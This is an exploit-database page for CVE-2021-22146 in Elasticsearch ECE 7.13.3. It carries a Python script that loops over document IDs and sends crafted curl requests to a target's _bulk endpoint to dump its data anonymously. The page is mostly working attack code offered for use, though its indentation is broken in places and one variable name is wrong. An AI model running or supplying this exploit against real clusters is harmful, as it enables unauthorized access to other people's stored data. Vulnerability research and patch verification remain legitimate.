Advertisement






Elasticsearch ECE 7.13.3 Database Disclosure

CVE Category Price Severity
CVE-2021-22146 CWE-200 Not specified High
Author Risk Exploitation Type Date
N/A High Remote 2021-07-26
CPE
cpe:cpe:/a:elastic:elasticsearch:7.13.3
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070145

Below is a copy:

Elasticsearch ECE 7.13.3 Database Disclosure
# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump
# Date: 2021-07-21
# Exploit Author: Joan Martinez @magichk
# Vendor Homepage: https://www.elastic.co/
# Software Link: https://www.elastic.co/
# Version: >= 7.10.0 to <= 7.13.3
# Tested on: Elastic ECE (Cloud)
# CVE : CVE-2021-22146
# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180 

import os
import argparse
import sys

######### Check Arguments
def checkArgs():
parser = argparse.ArgumentParser()
parser = argparse.ArgumentParser(description='Elasticdump 1.0\n')
parser.add_argument('-s', "--host", action="store",
dest='host',
                    help="Host to attack.")
parser.add_argument('-p', "--port", action="store",
dest='port',
                    help="Elastic search port by default 9200 or 9201")
parser.add_argument('-i', "--index", action="store",
dest='index',
                    help="Index to dump (Example: 30)")


args = parser.parse_args()
if (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :
parser.print_help(sys.stderr)
sys.exit(1)
return args

def banner():
    print("      _           _   _         _")
    print("  ___| | __ _ ___| |_(_) ___ __| |_   _ _ __ ___  _ __")
    print(" / _ \ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \| '_ \ ")
    print("|  __/ | (_| \__ \ |_| | (_| (_| | |_| | | | | | | |_) |")
    print(" \___|_|\__,_|___/\__|_|\___\__,_|\__,_|_| |_| |_| .__/")
    print("                                                 |_|")



def exploit(host,port,index):

if (index != 0):
    final = int(index)
else:
    final = 1000000000

cont = 0
while (cont <= final):
os.system("curl -X POST \""+host+":"+port+"/_bulk\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\x0d\x0a\"index\"  :  {\x0d\x0a \"_id\" :\""+str(cont)+"\"\x0d\x0a}\x0d\x0a}\x0d\x0a' -k -s")
cont = cont + 1

if __name__ == "__main__":

banner()
args = checkArgs()
if (args.index):
    exploit(args.host,args.port,args.index)
else:
    exploit(args.host,args.port,0)
            

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum